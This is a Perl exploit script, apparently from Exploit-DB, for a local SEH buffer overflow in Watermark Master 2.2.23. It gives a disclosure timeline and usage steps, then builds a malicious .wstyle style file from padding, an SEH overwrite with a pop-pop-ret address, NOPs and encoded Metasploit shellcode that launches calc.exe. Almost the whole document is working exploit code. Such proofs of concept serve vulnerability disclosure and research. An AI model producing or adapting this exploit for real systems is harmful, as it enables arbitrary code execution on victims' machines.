Watermark Master 2.2.23 - '.wstyle' Local Buffer Overflow (SEH)

#!/usr/bin/perl

#########################################################################################
# Exploit Title: Watermark Master v2.2.23 .wstyle Buffer Overflow (SEH)
# Date: 10-28-2013
# Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
# Vulnerable Software: Watermark Master v2.2.23
# Software Link: http://www.videocharge.com/download/WatermarkMaster_Install.exe
# Version: 2.2.23
# Tested On: Windows XP SP3
#########################################################################################
# Timeline:
# - Oct 28: Vuln discovered, vendor alerted and acknowledged receipt of bug submission
# - Oct 29: Requested fix timeline from vendor for public disclosure
# - Nov 1:  Similar exploit publicaly released for same version of software
#   -- http://www.exploit-db.com/exploits/29327/ 
# - Nov 3:  No response from vendor, follow-up email sent
# - Nov 14: No response from vendor, public disclosure
#########################################################################################
# Creates a malicious Style file (.wstyle)
# 
# To exploit:
# 1) Place sploit.wstyle file in Video Styles folder 
# 		..\Videocharge Software\Watermark Master\Styles\Video
# 2) Launch Watermark Master application, add an image and apply the style
#		WaterMark --> Add --> Image (can also add text, rectangle, etc)
#		WaterMark --> Apply Style... --> sploit
# 3) Save (Ctrl+s) -- Application will crash, launching the exploit
#########################################################################################

my $buffsize = 15000; # sets buffer size for consistent sized payload

my $xmlstart = '<?xml version="1.0" encoding="Windows-1251" ?> <cols name="'; # build the start of the xml file

# nseh is at offset 512, followed by 9484 bytes of available data
my $junk = "\x41" x (512 - $xmlstart);
my $nseh = "\xeb\x08\x90\x90"; # overwrite next seh with jmp instruction (8 bytes)
my $seh = pack('V',0x72D11F39); # overwrite seh w/ pop edi pop esi ret
				# ASLR: False, Rebase: False, SafeSEH: False, OS: True
				# (C:\WINDOWS\system32\msacm32.drv) (no suitable app modules found)
my $nops = "\x90" x 20; 

# Alpha-numeric encoding used for xml-based Calc.exe payload
# msfpayload windows/exec EXITFUNC=seh CMD=calc.exe R | 
# msfencode -e x86/alpha_upper -b '\x00\xac\xff\xca'
# size 469

my $shell = "\x89\xe6\xd9\xeb\xd9\x76\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
"\x58\x4d\x59\x35\x50\x33\x30\x45\x50\x35\x30\x4c\x49\x4b" .
"\x55\x46\x51\x48\x52\x42\x44\x4c\x4b\x50\x52\x36\x50\x4c" .
"\x4b\x30\x52\x54\x4c\x4c\x4b\x46\x32\x42\x34\x4c\x4b\x34" .
"\x32\x57\x58\x44\x4f\x58\x37\x50\x4a\x56\x46\x36\x51\x4b" .
"\x4f\x50\x31\x59\x50\x4e\x4c\x37\x4c\x53\x51\x53\x4c\x44" .
"\x42\x46\x4c\x37\x50\x49\x51\x58\x4f\x44\x4d\x33\x31\x58" .
"\x47\x4a\x42\x5a\x50\x31\x42\x30\x57\x4c\x4b\x50\x52\x54" .
"\x50\x4c\x4b\x57\x32\x47\x4c\x55\x51\x38\x50\x4c\x4b\x31" .
"\x50\x34\x38\x4b\x35\x4f\x30\x43\x44\x51\x5a\x45\x51\x38" .
"\x50\x36\x30\x4c\x4b\x30\x48\x34\x58\x4c\x4b\x36\x38\x51" .
"\x30\x33\x31\x59\x43\x4b\x53\x57\x4c\x51\x59\x4c\x4b\x46" .
"\x54\x4c\x4b\x45\x51\x39\x46\x46\x51\x4b\x4f\x50\x31\x59" .
"\x50\x4e\x4c\x4f\x31\x48\x4f\x34\x4d\x55\x51\x58\x47\x56" .
"\x58\x4d\x30\x33\x45\x4c\x34\x54\x43\x53\x4d\x5a\x58\x47" .
"\x4b\x33\x4d\x31\x34\x33\x45\x4b\x52\x46\x38\x4c\x4b\x31" .
"\x48\x31\x34\x35\x51\x4e\x33\x55\x36\x4c\x4b\x44\x4c\x50" .
"\x4b\x4c\x4b\x56\x38\x35\x4c\x43\x31\x59\x43\x4c\x4b\x45" .
"\x54\x4c\x4b\x35\x51\x58\x50\x4c\x49\x31\x54\x57\x54\x37" .
"\x54\x51\x4b\x51\x4b\x43\x51\x50\x59\x51\x4a\x36\x31\x4b" .
"\x4f\x4d\x30\x30\x58\x31\x4f\x50\x5a\x4c\x4b\x35\x42\x5a" .
"\x4b\x4c\x46\x31\x4d\x53\x5a\x45\x51\x4c\x4d\x4d\x55\x4e" .
"\x59\x33\x30\x45\x50\x53\x30\x50\x50\x32\x48\x56\x51\x4c" .
"\x4b\x52\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x4b\x4e\x54" .
"\x4e\x57\x42\x5a\x4a\x33\x58\x4f\x56\x4d\x45\x4f\x4d\x4d" .
"\x4d\x4b\x4f\x38\x55\x57\x4c\x54\x46\x53\x4c\x34\x4a\x4b" .
"\x30\x4b\x4b\x4b\x50\x52\x55\x34\x45\x4f\x4b\x57\x37\x32" .
"\x33\x33\x42\x52\x4f\x52\x4a\x43\x30\x51\x43\x4b\x4f\x39" .
"\x45\x45\x33\x35\x31\x42\x4c\x33\x53\x46\x4e\x32\x45\x34" .
"\x38\x53\x55\x53\x30\x41\x41";

my $xmlend = '" clsid="blah"> </cols>'; # build the rest of the xml file 

my $sploit = $junk.$nseh.$seh.$nops.$shell; # build sploit portion of buffer
my $fill = "\x43" x ($buffsize - (length($xmlstart)+length($sploit)+length($xmlend))); # fill remainder of buffer with junk for consistent size
my $buffer = $xmlstart.$sploit.$fill.$xmlend; # build final buffer

# write the exploit buffer to file
my $file = "sploit.wstyle";
open(FILE, ">$file");
print FILE $buffer;
close(FILE);
print "Exploit file created [" . $file . "]\n";
print "Buffer size: " . length($buffer) . "\n";